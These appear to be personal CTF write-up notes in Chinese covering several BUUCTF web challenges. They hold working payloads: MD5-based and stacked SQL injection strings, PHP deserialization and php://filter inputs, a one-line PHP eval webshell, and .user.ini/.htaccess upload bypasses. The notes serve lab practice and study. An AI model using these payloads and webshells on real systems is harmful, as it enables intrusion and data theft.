[BJDCTF2020]Easy MD5–ffifdyop 弱类型比较
步骤一:ffifdyop 字符串
提交两次无反应,上 burp
GET /leveldo4.php?password=123 HTTP/1.1 Host: 3b74d3ab-4e56-4c99-b522-35a4985ebe8f.node4.buuoj.cn:81 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://3b74d3ab-4e56-4c99-b522-35a4985ebe8f.node4.buuoj.cn:81/leveldo4.php?password=4356 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: UM_distinctid=17cfd365782284-0647ac1c66ec6d-123b6650-1aeaa0-17cfd3657834fc Connection: close
一个出现在响应包的上部
Hint: select * from 'admin' where password=md5($pass,true)
md5(string,raw)
string 要计算的字符串 raw是可选项 - true,返回原16字符二进制格式 - false,默认情况下,返回32字符16进制数
如果md5值经过hex变成字符串后 'or' 'xxxx'
这样的字符串是拼接后形成的SQL语句为
select * from `admin` where password=''or'balabala'
当 'or'
后面的值为True实现时,可以构成通用密码SQL注入,MYSQL 作为布尔型判断的一个特征是 开头的字符串将被用作整形数。
password=‘xxx’ or ‘123xxxxxxxxx’ 相当于 password=‘xxx’ or 123 相当于 password=‘xxx’ or true
这是我们的突破点,参考博客
常用的字符串是 ffifdyop
,该字符串md5加密后若raw参数为True时会返回 'or'6<trash>
,(<trash>
事实上,只要第一个是非零数字,就可以判定为一些乱码和不可见字符True,后面的<trash>
会在MySQL将其转换为整形比较时丢失),参考博客
select * from `admin` where password=''or'6<trash>' ---> True
第二步:弱类型比较
新页面出现,查看源码
<!-- $a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend. -->
这里要求a和b但是md5值相同,这里的两个等号等于弱相,所以只要找到两个明文a、b的md5值前面的数字相同,但后面的字符串不同,如0exxxx
属于字符串 md5 博客提供了一些合格的字符串
QNKCDZO ==> 0e830400451993494058024219903391 s878926199a ==> 0e545993274517709034328855841020 s155964671a ==> 0e342768416822451524974117254469 s214587387a ==> 0e848240448830537924465865611904
构造 payload
xxx/levels91.php?a=s878926199a&b=s155964671a
有一条信息
<script>window.location.replace('./levell14.php')</script>
跳转
<?phperror_reporting(0);include "flag.php";highlight_file(__FILE__);if($_POST['param1'] !== $_POST['param2']&& md5($_POST['param1']) === md5($_POST['param2'])){
echo $flag;}
分析,要求两个参数明文不等且 md5 值相同,与第二步不同的是这里md5值比较是强相等,这里需要用到 php 的特性
md5(array()) = nullsha1(array()) = null ereg(pattern,array()) = null vs preg_match(pattern,array) = falsestrcmp(array(), "abc") = nullstrpos(array(),"abc") = null
md5()
函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。因此可以构造 payload,即可得到 flag(要注意是 POST
提交)直接 hackbar
xxx/levell14.php?param1[]=1¶m2[]=2得flag{0f0de89d-3186-4277-b899-4b294371c901}
<?phperror_reporting(0);include "flag.php";highlight_file(__FILE__);if($_POST['param1'] !== $_POST['param2']&& md5($_POST['param1']) === md5($_POST['param2'])){
echo $flag;}
md5(array()) = nullsha1(array()) = null ereg(pattern,array()) = null vs preg_match(pattern,array) = falsestrcmp(array(), "abc") = nullstrpos(array(),"abc") = null
md5()
函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。因此可以构造 payload,即可得到 flag(要注意是 POST
提交)直接 hackbar
xxx/levell14.php?param1[]=1¶m2[]=2得flag{0f0de89d-3186-4277-b899-4b294371c901}
[ZJCTF 2019]NiZhuanSiWei——伪协议
源码分析
<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){
echo "Not now!"; exit(); }else{
include($file); //useless.php $password = unserialize($password); echo $password; }}else{ highlight_file(__FILE__);}?>
步骤一
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
需要让 $text
参数的内容为“welcome to the zjctf”,只要写入即可,这里有使用 data://
和 php://input
两种方式,具体使用细节在知识点中阐述。
text=data://text/plain,welcome to the zjctf
构造上述即可绕过
步骤二
if(preg_match("/flag/",$file)){
echo "Not now!"; exit(); }else{
include($file); //useless.php $password = unserialize($password); echo $password;}
即 $file
参数中不能出现 flag
字样,看到提示 useless.php
,先包含它看一下(因为是php文件,我们想看到内容就需要 php://filter
伪协议)
file=php://filter/convert.base64-encode/resource=useless.php
拼接之前的 $text
得到结果
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
看到 =
号,猜测 Base64 解密,得到
<?php class Flag{
//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
定义了Flag类,里面有 __tostring
魔术方法,它是在类被当成字符串的时候调用,然后获取file的值并输出,这里也提醒了我们 flag.php
步骤三
现在我们就包含 useless.php
文件,后面对 password进行了反序列化,我们只要让 password
反序列化出 Flag 类,当 echo password
被当做字符串输出时,所以会调用该类的__tostring()
,然后会输出file_get_contents($this->file)
,因此我们想获取 flag.php
的内容,只需要反序列化 Flag
类时指定属性 file=flag.php
<?php class Flag{
//flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag();echo serialize($password);?>
得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造 payload,这里 file 不需要读取了,指定useless.php
即可
/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码拿到 flag
return ("flag{a5ade601-8881-4272-a4b4-39c5eef51f33}");
知识点
TODO:伪协议整理
data:// 写入数据php://input 执行phpphp://filter 读取文件内容
[SUCTF 2019]CheckIn——.user.ini
解题思路
显示上传,尝试上传一句话木马 a.php
<?php @eval($_POST['shell']);?>
提示 illegal suffix!
,修改后缀为 phtml
,修改内容
<script language="php"> eval($_REQUEST['shell']);</script>
同样显示 illegal suffix!
,加文件头 GIF89a
并改名为 a.jpg
尝试
Your dir uploads/9f5001cfc050d7bd94ad32c82c815371Your files :array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "a.jpg" [3]=> string(9) "index.php" }
上传成功,尝试抓包上传,再修改后缀为 jpg,显示上传失败,菜刀是无法连接 jpg 文件的。
.user.ini
文件,当我们对该目录中的任何php文件进行访问时,都会调用 .user.ini
中所指的文件以php的形式进行读取,所以我们只要在 .user.ini
文件中指向一句话木马的图片即可,然后解析图片马。正确做法是:
这里写文件时一定要加上文件头,因为使用了exif_imagetype
检查文件头是否为图片
GIF89aauto_prepend_file=a.jpg
然后上传图片马 a.jpg
,上传好后,提示当前目录,注意到上传目录下还有一个 index.php
,我们正好需要该目录下有一个可执行php文件,直接执行
Your dir uploads/9f5001cfc050d7bd94ad32c82c815371Your files :array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "a.jpg" [4]=> string(9) "index.php" }
执行
/uploads/9f5001cfc050d7bd94ad32c82c815371/index.php?shell=phpinfo();
正常访问,直接菜刀连接根目录拿 flag
flag{f3f01e2a-33c7-407b-be53-a709e9f995be}
知识点
- .user.ini 作用和配置
- GIF89a图片头文件欺骗
[MRCTF2020]你传你马呢——.htaccess
解题思路
尝试上传 test.php
<?php @eval($_POST['shell']);?>
得到结果是 “我扌your problem?”,说明没上传成功被骂了,猜测可能是文件名的问题,尝试 php3、php4、php5等都没有成功
这里的思路是上传图片后缀名的文件,之前碰到过图片.jpg
并不能被服务器当作 php
脚本来解析,还是需要有别的文件来辅助
- 通过上传
.user.ini
文件指定要读取.jpg
的文件名,前提是上传的目录中已有php
文件,比如CheckIn
这道题中上传完图片提示该目录中存在index.php
文件,我们要利用它拿 webshell - 通过上传
.htaccess
文件(在知识点中介绍了该文件)
此处由于不知道目录中有无其他 php 文件,因此选择第二种方式,编写 test.jpg,内容为
<?php @eval($_POST['shell']);?>
此处没有加文件头,再次尝试,上传成功显示
/var/www/html/upload/5ee9f4743e3e311a7dac5ce86c61a075/test.jpg succesfully uploaded!
再上传 .htaccess
文件,文件内容为(注意不要加前缀)
SetHandler application/x-httpd-php
在一篇博客中看到的是,需要指定文件名才能被当作php执行,比如这里制定了
test.php
,但我在实际操作中使用上面一行也能得到flag。<FilesMatch "test.png">SetHandler application/x-httpd-php</FilesMatch>
直接上传发现是失败的,还是抓包改成图片格式来上传,显示上传成功
/var/www/html/upload/5ee9f4743e3e311a7dac5ce86c61a075/.htaccess succesfully uploaded!
菜刀连接,根目录下拿 flag
xxx/upload/5ee9f4743e3e311a7dac5ce86c61a075/test.jpgshell
知识点
.htaccess是什么 参考文章
.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含多个指令的文件, 以作用于此目录及其所有子目录。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
[MRCTF2020]Ez_bypass——强弱类型绕过
解题思路
打开网站,审计代码
I put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step'; if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd']; if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else {
echo "can you think twice??"; } } else{
echo 'You can not get it !'; } } else{
die('only one way to get the flag'); } } else {
echo "You are not a real hacker!"; }}else{
die('Please input first');}}Please input first
第一步,要求满足 md5($id) === md5($gg) && $id !== $gg
值不相等,但是 md5相等,这个之前碰到过,属于 ,md5在处理数组时返回的是null,因此只需要构造两个不同数组即可
gg[]=1&id[]=2
第二步,passwd 不能是数字,且值为 1234567,且是弱类型比较,因此 使用字符串 1234567a
即可
发一个 POST 包(passwd=1234567a)到xxx/gg[]=1&id[]=2
即可得 flag
知识点
- md5 强弱类型比较
- php 强弱类型比较
[GYCTF2020]Blacklist–堆叠注入
解题思路
尝试,输入1
,正常显示,输入1'
,报错。输入1'#
正常
尝试 1' order by 3#
,显示
error 1054 : Unknown column '3' in 'order clause'
尝试 1' order by 2#
,返回结果,说明有两列
尝试 1' union select 1,2#
,返回以下内容,说明被过滤
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
有点类似之前的堆叠注入
查库:1';show databases;#查表:1';show tables;#
其中有一张表显示有 flag
array(1) { [0]=> string(8) "FlagHere"}array(1) { [0]=> string(5) "words"}
分别查两个表中的列
1';show columns from `FlagHere`;# (FlagHere 这的是 tab 上方的引号)array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) ""}1';show columns from `words`;# (里面有 id 和 data 两个字段)array(6) { [0]=> string(2) "id" [1]=> string(7) "int(10)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) ""}array(6) { [0]=> string(4) "data" [1]=> string(11) "varchar(20)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) ""}
方法一:Handler(成功)
具体用法见之前笔记
1';handler `FlagHere` open as `f`;handler `f` read first;#
得到 flag
array(1) { [0]=> string(42) "flag{6770dad8-fed4-46e8-963f-00bfa94f0148}"}
方法二:构造 payload(失败)
查询中关键字都被过滤了,考虑编码的方式来绕过,通过预处理函数,进行读取数据。,payload 内容如下
1';Set @a=concat("sele","ct ","* from `FlagHere`");prepare execsql from @a;execute execsql;#
无法绕过
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
方法三:偷天换日(失败)
在这里的两个表为 FlagHere、words
,words
中有 id 和 data 两个字段,FlagHere
中有 flag 字段,当我们输入 1的时候,回显的是
array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah"}
其中有两个数据,猜测应该是 words 表,内部的语句应该是为
select id,data from words where id='$id';
操作是
- 将
words
表名替换成其他的比如words2
- 然后将
FlagHere
这个表名称替换成words
- 在把
flag
这个字段替换成data
- 最后再插入一个
id
字段
通过这种方式,查询结果就可以输出我们构造的新 words
# 前缀 1';(这里省略,一下三句连起来输入)alter table words rename to words2;alter table FlagHere rename to words;alter table words change flag id varchar(50);#
最后查询即可。
因为前面的关键字都禁用了,所以这个也是失败的
[网鼎杯 2018]Fakebook——SQL注入+SSRF
解题思路
尝试,join进去(注意blog有网址检测,输入普通字符提示非法),username 可以点进去,观察 url 中的参数,发现 no
可以注入
?no=1 and 1 回显正常?no=1 and 0 回显错误
判列数
?no=1 order by 8 回显错误?no=1 order by 4 回显正确
显位
?no=1 union select 1,2,3,4
显示 no hack ~_~
说明存在过滤
,使用/**/
替换空格绕过。
显位
?no=1/**/and/**/0/**/union/**/select/**/1,2,3,4
在 username 中显示 2,说明第二位能显示
接下来是常规操作,
爆库输入:database()输出:fakebook爆表(这边得要括号括起来)输入:(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook')输出:users爆列名(这边得要括号括起来)输入:(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='users')输出:no,username,passwd,data查看 data 中的数据输入:(select/**/group_concat(data)/**/from/**/users)输出:O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"a.com";}
我们得到的其实是 UserInfo 序列化后的结果,这里参考一篇博客,利用的变量在构造函数中,反序列化对象会自动执行构造函数,将需要构造的 SSRF 放在 blog 属性中,让其在反序列化时被调用
<?phpclass UserInfo{
public $name = "1"; public $age = 1; public $blog = "file:///var/www/html/flag.php";}$u = new UserInfo();echo serialize($u);// O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}?>
view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
构造 payload,blog属性在第四位
?no=1/**/and/**/0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
F12 在控制台中找到 blog 的 src
<iframe width="100%" height="10em" src="data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3szMGIxYmNhYS1mYzJmLTQzYTktOTcxNC01MmE4MzFhODgwNzZ9IjsNCmV4aXQoMCk7DQo=">
base 64 解密得
<?php$flag = "flag{30b1bcaa-fc2f-43a9-9714-52a831a88076}";exit(0);
知识点
todo https://www.codenong.com/cs105451530/
没写完
[RoarCTF 2019]Easy Java
打开是一个登入界面,尝试点击help,弹出一个错误,提示了help.docx , 发现是GET请求,直接用hackbar发送post请求发现能下载,但是flag不在文件里,文件里也没有其它提示。
查阅 wp 发现需要将 post 请求的文件名改为 WEB-INF/web.xml
,这里主要也是考这个。
https://blog.51cto.com/u_15077552/3628761
https://blog.csdn.net/SopRomeo/article/details/104201079
https://mayi077.gitee.io/2020/01/31/RoarCTF-2019-Easy-Java/